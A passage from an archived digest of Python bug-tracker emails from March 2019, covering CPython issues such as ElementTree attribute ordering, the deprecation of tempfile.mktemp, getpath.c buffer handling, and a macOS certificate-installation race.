Python 3.8 output:
---
<document a="1" b="2" />
<document b="2" a="1" />
---

On this example, it's obvious that the attributes are defined in a different order, but the code which generates the XML document can be way more complex and use unordered data structures like set().

Why does it matter? Most programs compare XML using basic string comparison, they don't implement smart XML comparison which ignore attributes order.

Concrete example:

* A program which rewrites the XML on disk if attribute order changes (useless disk write).
* Version Control System (Git, hg, svn, whatever) sees the file as modified and produces a change which can be unexpected and annoy users (use more disk space, more network bandwidth, etc.)
* https://reproducible-builds.org/
* It breaks docutils unit tests which uses straightfoward assertEqual(). docutils is just one example: it's not hard to imagine many other applications using XML and which use a similar check.
* etc.

It's not just a matter of parsers.


> My (somewhat educated) gut feeling is that most users simply won't care or won't even notice the change.

... Really? Why do you think that so many people are involved in this issue if nobody cares of XML attribute order? :-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34160>
_______________________________________

From report at bugs.python.org  Mon Mar 18 18:07:48 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 18 Mar 2019 22:07:48 +0000
Subject: [issue34160] ElementTree not preserving attribute order
In-Reply-To: <1532047327.92.0.56676864532.issue34160@psf.upfronthosting.co.za>
Message-ID: <1552946868.78.0.916035143839.issue34160@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

I'll make a post to python-dev so that we can escalate the discussion and get broader participation.  Personally, I'm not wedded to any one particular outcome and just want to do what is best for the users in the long run.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34160>
_______________________________________

From report at bugs.python.org  Mon Mar 18 18:13:37 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Mon, 18 Mar 2019 22:13:37 +0000
Subject: [issue36207] robotsparser deny all with some rules
In-Reply-To: <1551865321.24.0.407834320039.issue36207@roundup.psfhosted.org>
Message-ID: <1552947217.25.0.692015823521.issue36207@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

Can you provide a link to documentation showing that "Disallow: ?" shouldn't be the same as deny all?  Thanks!

----------
nosy: +cheryl.sabella

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36207>
_______________________________________

From report at bugs.python.org  Mon Mar 18 18:18:44 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Mon, 18 Mar 2019 22:18:44 +0000
Subject: [issue34160] ElementTree not preserving attribute order
In-Reply-To: <1532047327.92.0.56676864532.issue34160@psf.upfronthosting.co.za>
Message-ID: <1552947524.47.0.778504508353.issue34160@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

@raymond

Here is a basic comparison between two xml streams.

Maybe we could propose this solution when we want to compare an XML with xml.dom.minidom instead of the byte-to-byte comparison.

----------
Added file: https://bugs.python.org/file48217/test_xml_compare.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34160>
_______________________________________

From report at bugs.python.org  Mon Mar 18 18:28:22 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 22:28:22 +0000
Subject: [issue36352] Modules/getpath.c should not use hardcoded buffer sizes
 (MAXPATHLEN)
In-Reply-To: <1552927600.61.0.558974718013.issue36352@roundup.psfhosted.org>
Message-ID: <1552948102.89.0.491573253334.issue36352@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
keywords: +patch
pull_requests: +12376
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36352>
_______________________________________

From report at bugs.python.org  Mon Mar 18 18:55:05 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 22:55:05 +0000
Subject: [issue36352] Modules/getpath.c should not use hardcoded buffer sizes
 (MAXPATHLEN)
In-Reply-To: <1552927600.61.0.558974718013.issue36352@roundup.psfhosted.org>
Message-ID: <1552949705.83.0.417446591573.issue36352@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 7b14f0c02ce9d919c503119db190dbca0e703393 by Victor Stinner in branch 'master':
bpo-36352: Add error handling to getpath.c (GH-12421)
https://github.com/python/cpython/commit/7b14f0c02ce9d919c503119db190dbca0e703393


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36352>
_______________________________________

From report at bugs.python.org  Mon Mar 18 18:57:07 2019
From: report at bugs.python.org (Julien Palard)
Date: Mon, 18 Mar 2019 22:57:07 +0000
Subject: [issue34160] ElementTree not preserving attribute order
In-Reply-To: <1532047327.92.0.56676864532.issue34160@psf.upfronthosting.co.za>
Message-ID: <1552949827.99.0.408597117871.issue34160@roundup.psfhosted.org>


Julien Palard <julien+python at palard.fr> added the comment:

We found two occurrences of external code breaking due to this change, and one looks tricky to fix (docutils), this indicates there are other library that will break.

> My (somewhat educated) gut feeling is that most users simply won't care or won't even notice the change.

I concur with this. Why changing the default behavior? The costs of changing this looks high, and the benefits looks very low (people not noticing).

As already proposed, a keyword-only `sorted` parameter defaulting to True (the current behavior) would allow one to give False and get control of ordering, and won't break any existing library.

On the plus side `sorted=True` makes the current behavior (sorted by default) more discoverable.

----------
nosy: +mdk

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34160>
_______________________________________

From report at bugs.python.org  Mon Mar 18 19:10:07 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Mon, 18 Mar 2019 23:10:07 +0000
Subject: [issue36236] Python crash on macOS when CWD is invalid
In-Reply-To: <1552048367.13.0.453050382053.issue36236@roundup.psfhosted.org>
Message-ID: <1552950607.1.0.273595331722.issue36236@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:

If we set argv0 to ".":

             if (_Py_wgetcwd(fullpath, Py_ARRAY_LENGTH(fullpath))) {
                argv0 = fullpath;
                n = wcslen(argv0);
             }
             else {
                argv0 = L".";
                n = 1;
             }

then the caller does not have any way of knowing if the returned argv0 is due
to the fact that _Py_wgetcwd failed so it will blindly add "." to sys.path unless
we set the result using PyObject** and then returning some error code to signal
what happened (or something similar). On the other hand, I do not like this API,
because returning some error code != 0 from _PyPathConfig_ComputeArgv0 would be
weird because the call actually succeeded (it has returned "." as the value for argv0).

What do you think is the best way to signal pymain_run_python that the current directory
does not exist (because _Py_wgetcwd has failed)?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36236>
_______________________________________

From report at bugs.python.org  Mon Mar 18 19:20:00 2019
From: report at bugs.python.org (wats0ns)
Date: Mon, 18 Mar 2019 23:20:00 +0000
Subject: [issue36207] robotsparser deny all with some rules
In-Reply-To: <1551865321.24.0.407834320039.issue36207@roundup.psfhosted.org>
Message-ID: <1552951200.45.0.980846340144.issue36207@roundup.psfhosted.org>


wats0ns <quentin.maire at protonmail.ch> added the comment:

I can't find a documentation about it, but all of the robots.txt checkers I find behave like this. You can test on this site: http://www.eskimoz.fr/robots.txt, I believe that this is how it's implemented now in most parsers ?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36207>
_______________________________________

From report at bugs.python.org  Mon Mar 18 20:01:38 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 19 Mar 2019 00:01:38 +0000
Subject: [issue34160] ElementTree not preserving attribute order
In-Reply-To: <1532047327.92.0.56676864532.issue34160@psf.upfronthosting.co.za>
Message-ID: <1552953698.44.0.854410788422.issue34160@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

> one looks tricky to fix (docutils)

Actually, it is really easy to fix just by updating the target comparison files (that is the procedure described in the comments for the test).

What is taking more thought is coming up with a better test that verifies intended semantic content rather than the exact serialization.  I'm working with St?phane to figure out how to do this.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34160>
_______________________________________

From report at bugs.python.org  Mon Mar 18 20:02:43 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 00:02:43 +0000
Subject: [issue36236] Python crash on macOS when CWD is invalid
In-Reply-To: <1552048367.13.0.453050382053.issue36236@roundup.psfhosted.org>
Message-ID: <1552953763.0.0.42919842539.issue36236@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Oh. It seems like I misunderstood the issue. I read "argv0" as sys.argv[0], but _PyPathConfig_ComputeArgv0 is used to insert a value at the start of sys.path. That's different...

If the current directory has been removed, sys.path should just be left unchanged, no?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36236>
_______________________________________

From report at bugs.python.org  Mon Mar 18 20:03:12 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 00:03:12 +0000
Subject: [issue36301] Add _Py_PreInitialize() function
In-Reply-To: <1552652968.58.0.444379921918.issue36301@roundup.psfhosted.org>
Message-ID: <1552953792.19.0.140536405253.issue36301@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12377

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36301>
_______________________________________

From report at bugs.python.org  Mon Mar 18 20:30:39 2019
From: report at bugs.python.org (Brett Cannon)
Date: Tue, 19 Mar 2019 00:30:39 +0000
Subject: [issue36315] Unable to install Python 3.7.2
In-Reply-To: <1552741064.95.0.392565036476.issue36315@roundup.psfhosted.org>
Message-ID: <1552955439.78.0.613397307643.issue36315@roundup.psfhosted.org>


Change by Brett Cannon <brett at python.org>:


----------
nosy: +paul.moore, steve.dower, tim.golden, zach.ware

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36315>
_______________________________________

From report at bugs.python.org  Mon Mar 18 20:32:14 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 19 Mar 2019 00:32:14 +0000
Subject: [issue36236] Python crash on macOS when CWD is invalid
In-Reply-To: <1552048367.13.0.453050382053.issue36236@roundup.psfhosted.org>
Message-ID: <1552955534.17.0.43400119251.issue36236@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:

Yup. But what is the best way to signal the caller that _PyPathConfig_ComputeArgv0 has failed because _Py_wgetcwd has failed without changing the API massively? 

Right now if _PyPathConfig_ComputeArgv0 returns null is assumed that is due to a memory error when calling PyUnicode_FromWideChar. So either we stop returning _Py_INIT_NO_MEMORY() and then skip appending to sys_path or we change the API to signal different problems to the caller.

Also, notice that the same function is used in sysmodule.c in PySys_SetArgvEx:

If argv[0] is not '-c' nor '-m', prepend argv[0] to sys.path.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36236>
_______________________________________

From report at bugs.python.org  Mon Mar 18 20:34:26 2019
From: report at bugs.python.org (Brett Cannon)
Date: Tue, 19 Mar 2019 00:34:26 +0000
Subject: [issue36309] Remove tempfile.mktemp()
In-Reply-To: <1552697345.02.0.780612142064.issue36309@roundup.psfhosted.org>
Message-ID: <1552955666.61.0.642110703013.issue36309@roundup.psfhosted.org>


Brett Cannon <brett at python.org> added the comment:

Unfortunately not because there is no warning being raised currently about the deprecation (it's only documented as deprecated; https://github.com/python/cpython/commit/44f602dd3b452bbacd3c85b1e5f9873c892b46e3). A PR raising an appropriate deprecation for at least one release would then allow us to consider removing it in subsequent release.

----------
nosy: +brett.cannon

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36309>
_______________________________________

From report at bugs.python.org  Mon Mar 18 20:46:27 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 00:46:27 +0000
Subject: [issue36301] Add _Py_PreInitialize() function
In-Reply-To: <1552652968.58.0.444379921918.issue36301@roundup.psfhosted.org>
Message-ID: <1552956387.86.0.602361549854.issue36301@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 5f9cf23502febe0eb3bc02e45c7d2bfc79424757 by Victor Stinner in branch 'master':
bpo-36301: Error if decoding pybuilddir.txt fails (GH-12422)
https://github.com/python/cpython/commit/5f9cf23502febe0eb3bc02e45c7d2bfc79424757


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36301>
_______________________________________

From report at bugs.python.org  Mon Mar 18 20:47:28 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 00:47:28 +0000
Subject: [issue36352] Modules/getpath.c should not use hardcoded buffer sizes
 (MAXPATHLEN)
In-Reply-To: <1552927600.61.0.558974718013.issue36352@roundup.psfhosted.org>
Message-ID: <1552956448.41.0.45971462719.issue36352@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12378

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36352>
_______________________________________

From report at bugs.python.org  Mon Mar 18 20:50:07 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 19 Mar 2019 00:50:07 +0000
Subject: [issue36309] Remove tempfile.mktemp()
In-Reply-To: <1552697345.02.0.780612142064.issue36309@roundup.psfhosted.org>
Message-ID: <1552956607.3.0.737740706141.issue36309@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:

There was a warning, but it was suppressed by this commit:

commit 44f602dd3b452bbacd3c85b1e5f9873c892b46e3
Author: Guido van Rossum <guido at python.org>
Date:   Fri Nov 22 15:56:29 2002 +0000

    Comment out the warnings about mktemp().  These are too annoying, and
    often unavoidable.

diff --git a/Lib/tempfile.py b/Lib/tempfile.py
index 97f125250b..0393ba5d30 100644
--- a/Lib/tempfile.py
+++ b/Lib/tempfile.py
@@ -324,9 +324,9 @@ def mktemp(suffix="", prefix=template, dir=None):
     the punch.
     """

-    from warnings import warn as _warn
-    _warn("mktemp is a potential security risk to your program",
-          RuntimeWarning, stacklevel=2)
+##    from warnings import warn as _warn
+##    _warn("mktemp is a potential security risk to your program",
+##          RuntimeWarning, stacklevel=2)

     if dir is None:
         dir = gettempdir()

----------
nosy: +pablogsal

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36309>
_______________________________________

From report at bugs.python.org  Mon Mar 18 21:02:04 2019
From: report at bugs.python.org (John Hagen)
Date: Tue, 19 Mar 2019 01:02:04 +0000
Subject: [issue36309] Remove tempfile.mktemp()
In-Reply-To: <1552697345.02.0.780612142064.issue36309@roundup.psfhosted.org>
Message-ID: <1552957324.2.0.881751663787.issue36309@roundup.psfhosted.org>


John Hagen <johnthagen at gmail.com> added the comment:

Should it be a DeprecationWarning instead of a RuntimeWarning? (or both since it's both deprecated and a security issue?)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36309>
_______________________________________

From report at bugs.python.org  Mon Mar 18 21:06:45 2019
From: report at bugs.python.org (Steven D'Aprano)
Date: Tue, 19 Mar 2019 01:06:45 +0000
Subject: [issue36324] Inverse cumulative normal distribution function
In-Reply-To: <1552810539.51.0.509978356002.issue36324@roundup.psfhosted.org>
Message-ID: <1552957605.57.0.0901692059098.issue36324@roundup.psfhosted.org>


Steven D'Aprano <steve+python at pearwood.info> added the comment:

Looks good to me.

Later I will do some spot checks against the results returned by the Nspire calculator, but in the meantime I think this can go in. Thanks for your efforts Raymond, I think this NormalDist is shaping up to be a great addition.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36324>
_______________________________________

From report at bugs.python.org  Mon Mar 18 21:56:31 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 01:56:31 +0000
Subject: [issue36337] Use socket.sendall()/send() send data larger than 2GB
 will be truncated and return None, without exception raised.
In-Reply-To: <1552893144.47.0.748633032605.issue36337@roundup.psfhosted.org>
Message-ID: <1552960591.02.0.2682297804.issue36337@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset f70b884ad70e2ce762842ae469f88bd48fe13998 by Victor Stinner (St?phane Wirtel) in branch '2.7':
bpo-36337: socket.send()/sendall() use Py_ssize_t (GH-12397)
https://github.com/python/cpython/commit/f70b884ad70e2ce762842ae469f88bd48fe13998


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36337>
_______________________________________

From report at bugs.python.org  Mon Mar 18 21:57:34 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 01:57:34 +0000
Subject: [issue36337] Use socket.sendall()/send() send data larger than 2GB
 will be truncated and return None, without exception raised.
In-Reply-To: <1552893144.47.0.748633032605.issue36337@roundup.psfhosted.org>
Message-ID: <1552960654.19.0.948900734962.issue36337@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Thanks St?phane for the quick fix, I merged your PR. Thanks kmiku7 for your bug report.

Until the next Python 2.7 version is released, you can use Python 3 which is already fixed ;-)

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36337>
_______________________________________

From report at bugs.python.org  Mon Mar 18 21:58:16 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 01:58:16 +0000
Subject: [issue36352] Modules/getpath.c should not use hardcoded buffer sizes
 (MAXPATHLEN)
In-Reply-To: <1552927600.61.0.558974718013.issue36352@roundup.psfhosted.org>
Message-ID: <1552960696.61.0.341959758083.issue36352@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset faddaedd05ca81a9fed3f315e7bc8dcf455824a2 by Victor Stinner in branch 'master':
bpo-36352: Avoid hardcoded MAXPATHLEN size in getpath.c (GH-12423)
https://github.com/python/cpython/commit/faddaedd05ca81a9fed3f315e7bc8dcf455824a2


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36352>
_______________________________________

From report at bugs.python.org  Mon Mar 18 21:59:28 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 01:59:28 +0000
Subject: [issue36352] Modules/getpath.c should not use hardcoded buffer sizes
 (MAXPATHLEN)
In-Reply-To: <1552927600.61.0.558974718013.issue36352@roundup.psfhosted.org>
Message-ID: <1552960768.49.0.674115454146.issue36352@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

These changes are intrusive. I don't think that it's worth it to backport them to 3.7 (or 2.7). Just don't play with paths close to MAXPATHLEN bytes on Python 2.7 or 3.7 :-) I close the issue.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36352>
_______________________________________

From report at bugs.python.org  Mon Mar 18 22:19:33 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 02:19:33 +0000
Subject: [issue36236] Python crash on macOS when CWD is invalid
In-Reply-To: <1552048367.13.0.453050382053.issue36236@roundup.psfhosted.org>
Message-ID: <1552961973.39.0.365727219397.issue36236@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12379

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36236>
_______________________________________

From report at bugs.python.org  Mon Mar 18 22:27:43 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Tue, 19 Mar 2019 02:27:43 +0000
Subject: [issue36131] test.test_urllib2net.TimeoutTest ftp related tests fail
 due to ftp://www.pythontest.net/ being unavailable
In-Reply-To: <1551243962.9.0.321127985724.issue36131@roundup.psfhosted.org>
Message-ID: <1552962463.95.0.0919082760603.issue36131@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:

A similar issue happened again on s390x SLES 2.7:

https://buildbot.python.org/all/#/builders/66/builds/373

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36131>
_______________________________________

From report at bugs.python.org  Mon Mar 18 22:49:26 2019
From: report at bugs.python.org (Ned Deily)
Date: Tue, 19 Mar 2019 02:49:26 +0000
Subject: [issue36344] install_certificates.command too complicated,
 copy from pip's dir instead
In-Reply-To: <1552911860.35.0.715970160231.issue36344@roundup.psfhosted.org>
Message-ID: <1552963766.19.0.418475030209.issue36344@roundup.psfhosted.org>


Ned Deily <nad at python.org> added the comment:

Thanks for the suggestion but that is not a workable solution for two reasons. One, pip is an optional install with the python.org installer so we cannot depend on it being available.  More importantly, from a packaging point of view, the internal composition of pip is opaque.  There's no guarantee that any future release of pip will still bundle root certificates, that they will be installed in the same location, or which root certificates will be included and how up-to-date they are. Pip uses the certificates primarily to access PyPI, not to provide a general set of root certificates.  The current python.org solution of providing the Install Certificates script as an example is certainly far from ideal and we will improve it.  But adding a dependency on undocumented behavior of pip is not a step in the right direction.

----------
resolution:  -> rejected
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36344>
_______________________________________

From report at bugs.python.org  Mon Mar 18 23:17:17 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 19 Mar 2019 03:17:17 +0000
Subject: [issue36324] Inverse cumulative normal distribution function
In-Reply-To: <1552810539.51.0.509978356002.issue36324@roundup.psfhosted.org>
Message-ID: <1552965437.42.0.343107275058.issue36324@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:


New changeset 714c60d7aca6d0f6d73ad2d7c876d2d683a7fce3 by Raymond Hettinger in branch 'master':
bpo-36324: Add inv_cdf() to statistics.NormalDist() (GH-12377)
https://github.com/python/cpython/commit/714c60d7aca6d0f6d73ad2d7c876d2d683a7fce3


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36324>
_______________________________________

From report at bugs.python.org  Mon Mar 18 23:18:52 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 19 Mar 2019 03:18:52 +0000
Subject: [issue36324] Inverse cumulative normal distribution function
In-Reply-To: <1552810539.51.0.509978356002.issue36324@roundup.psfhosted.org>
Message-ID: <1552965532.63.0.945450522751.issue36324@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

Thanks Steven.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36324>
_______________________________________

From report at bugs.python.org  Mon Mar 18 23:47:57 2019
From: report at bugs.python.org (Ben Harper)
Date: Tue, 19 Mar 2019 03:47:57 +0000
Subject: [issue36356] Failure to build with address sanitizer
Message-ID: <1552967277.69.0.646647509224.issue36356@roundup.psfhosted.org>


New submission from Ben Harper <btharper1221 at gmail.com>:

Trying to run make after './configure --with-address-sanitizer --with-pydebug' fails with leak of locale string

----------
components: Build
messages: 338315
nosy: btharper
priority: normal
severity: normal
status: open
title: Failure to build with address sanitizer
type: compile error
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36356>
_______________________________________

From report at bugs.python.org  Mon Mar 18 23:53:08 2019
From: report at bugs.python.org (Ben Harper)
Date: Tue, 19 Mar 2019 03:53:08 +0000
Subject: [issue36356] Failure to build with address sanitizer
In-Reply-To: <1552967277.69.0.646647509224.issue36356@roundup.psfhosted.org>
Message-ID: <1552967588.33.0.658871968273.issue36356@roundup.psfhosted.org>


Change by Ben Harper <btharper1221 at gmail.com>:


----------
keywords: +patch
pull_requests: +12380
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36356>
_______________________________________

From report at bugs.python.org  Mon Mar 18 23:54:55 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Tue, 19 Mar 2019 03:54:55 +0000
Subject: [issue36356] Failure to build with address sanitizer
In-Reply-To: <1552967277.69.0.646647509224.issue36356@roundup.psfhosted.org>
Message-ID: <1552967695.41.0.836693532573.issue36356@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36356>
_______________________________________

From report at bugs.python.org  Tue Mar 19 00:12:22 2019
From: report at bugs.python.org (Ned Deily)
Date: Tue, 19 Mar 2019 04:12:22 +0000
Subject: [issue36340] 3.7.3rc1 Install Certificates fails on macOS
In-Reply-To: <1552899983.31.0.875168024252.issue36340@roundup.psfhosted.org>
Message-ID: <1552968742.73.0.906244576878.issue36340@roundup.psfhosted.org>


Ned Deily <nad at python.org> added the comment:

At first glance, I'm not sure what happened here; we do try to make Install Certificates as bulletproof as possible.  As you probably know, clicking on the file causes it to be opened with the macOS application that Launch Services determines is appropriate.  By default, .command files are associated with Terminal.app (which can be verified by using the Finder's Get Info command on the .command file).  Now apparently you have installed the fish shell (something Apple doesn't ship with macOS) and have changed Terminal.app's preferences or your user account to use fish as the default shell.  The Install Certificates command is a shebang line that should cause it to be executed with the newly-installed Python and that seems to have happened.  But then for some reason, the vendored urllib3 could not be imported correctly.  If you were able to successfully run "Install Certificates.command" from a regular terminal window - without having reinstalled pip - that sounds like some sort of permissions problems which should not happen. Or some other sort of shell startup difference (although the script invokes python with -E to ignore PYTHON* env vars).  Ah, but I now notice you say your normal terminal window is an iTerm2 one.  So, if when double-clicking, the command file runs under Terminal.app but when you run in manually, it's under iTerm2, there *might* be some discrepancy there - I'm not sure what.  One easy thing to try: now that certifi was successfully installed, what happens if you try rerunning the command by double-clicking it?  Does it still fail in the same way?  If so, it would be interesting to get more info on the environment the failing command is running in.  Perhaps the easiest way to do that would be to make a copy of the command file and modify it to do:

    subprocess.check_call([sys.executable,
        "-E", "-s", "-m", "test.pythoninfo"])

just prior to the check_call to install certifi.  As it stands, I'm unable to reproduce the failure with a vanilla macOS system without intentionally modifying permissions etc.

----------
assignee:  -> ned.deily
stage:  -> test needed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36340>
_______________________________________

From report at bugs.python.org  Tue Mar 19 00:15:12 2019
From: report at bugs.python.org (Peer Sommerlund)
Date: Tue, 19 Mar 2019 04:15:12 +0000
Subject: [issue26789] Please do not log during shutdown
In-Reply-To: <1460905927.74.0.222378341822.issue26789@psf.upfronthosting.co.za>
Message-ID: <1552968912.51.0.84058458105.issue26789@roundup.psfhosted.org>


Change by Peer Sommerlund <peer.sommerlund at gmail.com>:


----------
nosy: +Peer Sommerlund

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue26789>
_______________________________________

From report at bugs.python.org  Tue Mar 19 00:36:08 2019
From: report at bugs.python.org (Ma Lin)
Date: Tue, 19 Mar 2019 04:36:08 +0000
Subject: [issue36357] Build 32bit Python on Windows with SSE2 instruction set
Message-ID: <1552970168.14.0.453401262015.issue36357@roundup.psfhosted.org>


New submission from Ma Lin <malincns at 163.com>:

On windows, it seems 32bit builds (3.7.2/3.8.0a2) don't using SSE2 sufficiently.

I test on 3.8 branch, python38.dll only uses XMM register 28 times. The official build is the same.
After enable this option, python38.dll uses XMM register 11,704 times.

--- a/PCbuild/pythoncore.vcxproj
+++ b/PCbuild/pythoncore.vcxproj
@@ -88,6 +88,7 @@
       <AdditionalIncludeDirectories Condition="$(IncludeExternals)">$(zlibDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
       <PreprocessorDefinitions>_USRDLL;Py_BUILD_CORE;Py_ENABLE_SHARED;MS_DLL_ID="$(SysWinVer)";%(PreprocessorDefinitions)</PreprocessorDefinitions>
       <PreprocessorDefinitions Condition="$(IncludeExternals)">_Py_HAVE_ZLIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <EnableEnhancedInstructionSet Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">StreamingSIMDExtensions2</EnableEnhancedInstructionSet>
     </ClCompile>
     <Link>
       <AdditionalDependencies>version.lib;shlwapi.lib;ws2_32.lib;%(AdditionalDependencies)</AdditionalDependencies>

x86 instruction set has only a few number of registers.
In my understanding, using XMM registers on 32bit build will brings a small speed up.
I'm not an expert of this kind knowledge, sorry if I'm wrong.

----------
components: Build, Windows
messages: 338317
nosy: Ma Lin, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Build 32bit Python on Windows with SSE2 instruction set
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36357>
_______________________________________

From report at bugs.python.org  Tue Mar 19 00:49:29 2019
From: report at bugs.python.org (Steve Dower)
Date: Tue, 19 Mar 2019 04:49:29 +0000
Subject: [issue36315] Unable to install Python 3.7.2
In-Reply-To: <1552741064.95.0.392565036476.issue36315@roundup.psfhosted.org>
Message-ID: <1552970969.61.0.258299379766.issue36315@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

In your %TEMP% directory, there should be at least one more log file (probably only one other) alongside the one you attached. It will have "core_JustForMe" in the title. Could you find and attach this file? It has the actual cause of the error in it.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36315>
_______________________________________

From report at bugs.python.org  Tue Mar 19 01:24:45 2019
From: report at bugs.python.org (Dima Tisnek)
Date: Tue, 19 Mar 2019 05:24:45 +0000
Subject: [issue36340] 3.7.3rc1 Install Certificates fails on macOS
In-Reply-To: <1552899983.31.0.875168024252.issue36340@roundup.psfhosted.org>
Message-ID: <1552973085.57.0.740216770157.issue36340@roundup.psfhosted.org>


Dima Tisnek <dimaqq at gmail.com> added the comment:

I've figured out what's going on:

When Installer runs, it asks for user's su passwords, does a bunch of stuff, and then starts "Running package scripts".

While it's "running scripts", towards the end of that process, with "about one minute remaining", the Finder window pops up.

If "Install Certificates.command" is activated at that time, pip fails.

However, if user waits for "running scripts" to complete, the pip succeeds.



The "race" window is less than half a minute.

Below are the examples of site packages listing during the race window:

```
Tue Mar 19 14:20:50 JST 2019
total 8.0K
